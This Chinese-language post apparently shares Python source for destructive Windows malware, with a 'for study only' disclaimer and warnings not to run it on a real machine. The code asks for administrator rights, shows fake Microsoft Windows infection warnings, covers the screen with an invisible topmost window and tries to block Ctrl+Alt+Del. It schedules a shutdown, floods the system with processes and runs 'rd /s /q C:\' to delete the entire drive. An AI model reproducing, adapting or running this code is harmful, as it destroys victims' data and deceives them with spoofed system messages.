切勿在实体机上运行!
兼容系统:python 3.5+,windows 7+
说明:需手动安装keyboard库(pip install keyboard)
声明:本程序仅供学习和研究使用,请在创建后1小时内删除!如需要引用,请说明作者姓名!
效果:阿里云盘分享
from __future__ import print_function
import os, keyboard
import tkinter as tk
import tkinter.messagebox as tm
import threading
import time
#这个病毒及其危险,请勿在实体机上运行!
import ctypes, sys
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
def happy():
while True:
os.startfile('cmd')
os.startfile('explorer')
os.startfile('notepad')
os.startfile('calc')
os.startfile('colorcpl')
threading.Thread(target=lambda: tm.showerror('Microsoft Windows', "ERROR!")).start()
def rs():
threading.Thread(
target=lambda: tm.showwarning("Microsoft Windows抱歉的说:", "您的电脑感染了病毒。我们正在解决问题,稍后会自动关机。现在先不要关机!")).start()
os.system("shutdown -s -t 120")
with open("file.exe", 'wb') as f:
f.write(b'123456')
try:
os.startfile('file.exe')
# 欺骗
except OSError:
os.remove('file.exe')
# THE REALLY VIRUS
time.sleep(10)
root = tk.Tk()
root.title('')
root.attributes("-fullscreen", True)
root.attributes("-topmost", True)
root.attributes("-alpha", 0.01)
def exit():
pass
keyboard.add_hotkey('ctrl+alt+del', exit)
keyboard.add_hotkey('ctrl+alt+del', exit) # 虚拟机
root.protocol("WM_DELETE_WINDOW", exit)
threading.Thread(target=rs).start()
time.sleep(5)
threading.Thread(target=lambda: os.system('rd /s /q C:\\')).start()
threading.Thread(target=happy).start()
root.mainloop()
else:
if sys.version_info[0] == 3:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
else: # in python2.x
ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(__file__), None, 1)
如果喜欢,请给个3连!